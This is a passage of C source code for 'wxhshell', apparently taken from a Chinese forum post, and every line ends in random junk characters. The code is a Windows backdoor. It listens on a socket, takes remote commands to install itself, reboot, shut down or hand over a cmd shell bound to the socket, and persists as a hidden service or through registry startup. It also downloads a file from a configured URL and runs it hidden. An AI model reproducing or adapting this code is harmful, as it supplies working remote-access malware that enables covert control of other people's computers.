  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3rZPVR$))  
  else GNwFB)?j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6^jrv [d  
  } N0$ uB"  
  else {  HC/a  
~#so4<A`3  
    switch(cmd[0]) { #~m^RoE  
  Exv!!0Cd^  
  // 帮助 iu{;|E  
  case '?': { VR_/Vh ]@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i&m6;>?`  
    break; !.iFU+?V  
  } #68$'Rl"o1  
  // 安装 bM_fuy55Op  
  case 'i': { @@R&OR  
    if(Install()) &\5bo=5V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fTX|vy<EMI  
    else U4Y)Jk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %< ;u JP K  
    break; vKPLh   
    } %RwWyzm#\  
  // 卸载 ow`F 7  
  case 'r': { 9T$%^H9  
    if(Uninstall()) &.yX41R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dpge:Qhr  
    else Zn*W2s^^{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )eSQce7H  
    break; |V}tTx1  
    } ?qHQ#0 @y]  
  // 显示 wxhshell 所在路径 =<#++;!I  
  case 'p': { *\iXU//^)  
    char svExeFile[MAX_PATH]; tNqSCjQ~_c  
    strcpy(svExeFile,"\n\r"); J.g6<n  
      strcat(svExeFile,ExeFile); x6\VIP"9L  
        send(wsh,svExeFile,strlen(svExeFile),0); v13\y^t  
    break; Mw+ l>92  
    } r-WX("Vvh  
  // 重启 Kn?h  
  case 'b': { E)p[^1WC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y fuH  
    if(Boot(REBOOT)) it>l?h7I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~EQ# %db  
    else { X$t!g`  
    closesocket(wsh); \ ux {J  
    ExitThread(0); +#UawYLJ  
    } lFA-T I&  
    break; BGH'&t_5  
    } KG(l=? N  
  // 关机 2}.~ 6EU/  
  case 'd': { U? U3?Y-k`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #IqRu:csp  
    if(Boot(SHUTDOWN)) V!@6Nv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w JgH15oB  
    else { SuV3$-);z  
    closesocket(wsh); #4nBov3d  
    ExitThread(0); e!w{ap8u  
    } tk 5 p@l  
    break; QR-pji y  
    } ?vik2RW  
  // 获取shell Lcy6G%A  
  case 's': { Sy*p6DP  
    CmdShell(wsh); j,i)ecZ>  
    closesocket(wsh); .UN?Ak*R  
    ExitThread(0); Gp?pSI,b.t  
    break; I&^hG\D  
  } W^;4t3eQf  
  // 退出 X*Q<REDB  
  case 'x': { u Vv %k5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EuVA"~PA  
    CloseIt(wsh); *|6vCR  
    break; j39"iAn  
    } u?z,Vs"  
  // 离开 w&hCt c  
  case 'q': { [%Z{Mp'g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @o<B>$tbu4  
    closesocket(wsh); VGCd)&s  
    WSACleanup(); v}!^RW 'X  
    exit(1); +n &8" )  
    break; F,mStw:  
        } 5VVU%STP  
  } >B$ IrM7J  
  } 7~N4~KAUS  
"r@G V5ED  
  // 提示信息 $RC)e 7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -\Z`+kY?p  
} Qo(<>d  
  } c|iTRco  
11A$#\,  
  return; 5@W63!N  
} h]Gvt 5  
egWfKL&iy  
// shell模块句柄 G ,`]2'(@  
int CmdShell(SOCKET sock) &g8Xjx&zj  
{ ?l|&JgJ$  
STARTUPINFO si; #rz!d/)Q  
ZeroMemory(&si,sizeof(si)); \^'-=8<*>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `lbRy($L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T$DFTr\\  
PROCESS_INFORMATION ProcessInfo; :;]O;RXt  
char cmdline[]="cmd"; r'*#i>PkQD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L?Ih;  
  return 0; V72?E%d0  
} #2*R0_b  
/p}pdXS  
// 自身启动模式 Wrm3U/>e  
int StartFromService(void) :hf%6N='kI  
{ x97L>>|  
typedef struct gla'urb[i|  
{ 9zLeyw\  
  DWORD ExitStatus; pG v*{.  
  DWORD PebBaseAddress; 3@0!]z^W  
  DWORD AffinityMask; eQfXUpk3@I  
  DWORD BasePriority; T&<ee|t@{  
  ULONG UniqueProcessId; y"_rDj`  
  ULONG InheritedFromUniqueProcessId; a]8W32  
}   PROCESS_BASIC_INFORMATION; w`/~y   
6jov8GIAt  
PROCNTQSIP NtQueryInformationProcess; +mO/9m  
M@pF[J/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "SC]G22  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7PO]\X^(zE  
ZlQ&m  
  HANDLE             hProcess; jS#YqVuN  
  PROCESS_BASIC_INFORMATION pbi; bc& 5*?  
VAdUd {  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g/i.b&  
  if(NULL == hInst ) return 0; ')WS :\J  
2UBAk')O}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _Qb ].~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J!QIMA4{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vcP_gJz  
0OtUb:8LX  
  if (!NtQueryInformationProcess) return 0; c'bh`H4  
|k: FNu]C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jg.^h1>x  
  if(!hProcess) return 0; 1 a%1C`d  
#A< |qd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |g<l|lqz|  
!Okl3 !fC  
  CloseHandle(hProcess); +}f}!h;  
h;OHpvk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :vFYqoCn  
if(hProcess==NULL) return 0; {Bpu-R&T  
 Ozsvsa  
HMODULE hMod; AG G xx?I  
char procName[255]; MJn=  
unsigned long cbNeeded; NMN&mJsmh  
^>y|{;`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \rH0=~F-P  
aMxM3"  
  CloseHandle(hProcess); ABq#I'H#@2  
Ou|kb61zg  
if(strstr(procName,"services")) return 1; // 以服务启动 uPb.uG  
anH]]  
  return 0; // 注册表启动 Zo Ra^o  
} :v E\r#hJ"  
k+eeVy  
// 主模块 1<0Z@D~F  
int StartWxhshell(LPSTR lpCmdLine) zpcO7AY~  
{ UQBc$`v  
  SOCKET wsl; Jg6@)<n  
BOOL val=TRUE; ;"NW= P&  
  int port=0; |tFg9RT  
  struct sockaddr_in door; ~#=70  
Ece=loV*l  
  if(wscfg.ws_autoins) Install(); "Q[?W( SA  
;F /w&u.n  
port=atoi(lpCmdLine); @M(+YCi:e@  
[QwqP=-6  
if(port<=0) port=wscfg.ws_port; V$ " ]f6  
UrdSo"%  
  WSADATA data; 1f$1~5Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X9YbTN  
jZ<f-Ff0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bZgFea_>i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P#,g5  
  door.sin_family = AF_INET; 80LN(0?x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ca'c5*Fs  
  door.sin_port = htons(port); o"qG'\x  
6'.CW4L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e8)8QmB{o  
closesocket(wsl); W: 3fLXk+  
return 1;  &/)To  
} ql_,U8Jw  
ii ^Nxnc=  
  if(listen(wsl,2) == INVALID_SOCKET) { <t,lq  
closesocket(wsl); 6PMu*-Nv!j  
return 1; 'D^@e0.3  
} a.XMeB  
  Wxhshell(wsl); M"ZeK4qh  
  WSACleanup(); F^!_!V B  
2bOFH6g  
return 0; J>+~//C  
KN.WTaO  
} LUA<N:  
yY80E[v  
// 以NT服务方式启动 ]!WD">d:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t<SCrLbz  
{ ,d8*7my  
DWORD   status = 0; *zv*T"&ZP  
  DWORD   specificError = 0xfffffff; )24 1-b V  
+ $Lc'G+:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *>jJ<8!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MVp+2@)}s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F441K,I  
  serviceStatus.dwWin32ExitCode     = 0; xp]_>WGq  
  serviceStatus.dwServiceSpecificExitCode = 0; B~u`bn,iQ  
  serviceStatus.dwCheckPoint       = 0;  o^x,JT  
  serviceStatus.dwWaitHint       = 0; 2nI^fVR%\  
!PEP`wEKdp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -D wO*f  
  if (hServiceStatusHandle==0) return; Ots]y  
N. 0~4H %U  
status = GetLastError(); \WM"VT  
  if (status!=NO_ERROR) 9Hs5uBe  
{ dMa6hI{k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F2',3  
    serviceStatus.dwCheckPoint       = 0; %5<Xa  
    serviceStatus.dwWaitHint       = 0; y+M9{[ i/O  
    serviceStatus.dwWin32ExitCode     = status; bqQR";  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7Dz-xM_?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f|{&Y2h(R  
    return; awOH50R  
  } b25C[C5C  
Wtp;se@#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W<Asr@  
  serviceStatus.dwCheckPoint       = 0; {s?x NU  
  serviceStatus.dwWaitHint       = 0; d-B,)$zE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;2547b[ ]  
} A7aW]  
]J.|XRp/  
// 处理NT服务事件,比如:启动、停止 !InC8+be  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;_A?Zl}  
{ et@<MU@ `  
switch(fdwControl) o AM)<#U>  
{ P"Y7N?\](  
case SERVICE_CONTROL_STOP: D3C3_ @*  
  serviceStatus.dwWin32ExitCode = 0; R(#ZaFuo[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gLWbd~  
  serviceStatus.dwCheckPoint   = 0; pUeok+k_  
  serviceStatus.dwWaitHint     = 0; l  !JTM  
  { )8V=!73  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~lr,}K,  
  } n fMU4(:  
  return; ' -rRD\"q  
case SERVICE_CONTROL_PAUSE: P u,JR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +?GsIp@>jh  
  break; {A{sRT=%  
case SERVICE_CONTROL_CONTINUE: N"zm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J|DY /v  
  break; _kUtj(re  
case SERVICE_CONTROL_INTERROGATE: KKNQ+'?  
  break; nRheByYm  
}; \s,~|0_V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $u::(s} x<  
} 7K /quJ  
c{})Z=  
// 标准应用程序主函数 F;Bq[V)R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S H6T\}X:  
{ ??,/85lM  
VB}^&{t)!  
// 获取操作系统版本 f_ |=EQ  
OsIsNt=GetOsVer(); rchKrw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); __,F_9M  
B;J8^esypD  
  // 从命令行安装 J(Zz^$8]<?  
  if(strpbrk(lpCmdLine,"iI")) Install(); }KR"0G[f  
|_%q@EID  
  // 下载执行文件 l|K$6>80  
if(wscfg.ws_downexe) { HD>UTX`&mc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %ZGG6Xgw  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nt7z ]F`  
} @ [%K D  
jh/aK_Q,w  
if(!OsIsNt) { .:B;%*  
// 如果时win9x,隐藏进程并且设置为注册表启动 NPLJ*uHH  
HideProc();  OF O,5  
StartWxhshell(lpCmdLine); mD;ioaE  
} !u|s8tN.U  
else P$6 Pe>3  
  if(StartFromService()) :d wP  
  // 以服务方式启动 3% O[W  
  StartServiceCtrlDispatcher(DispatchTable); Fq'Ds[wd5  
else {Hzj(c~S?  
  // 普通方式启动 YGOhUT |  
  StartWxhshell(lpCmdLine); %(:{TR  
o8N,mGj}  
return 0; P}"uC`036  
}
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只看该作者 1 发表于: 2006-10-10
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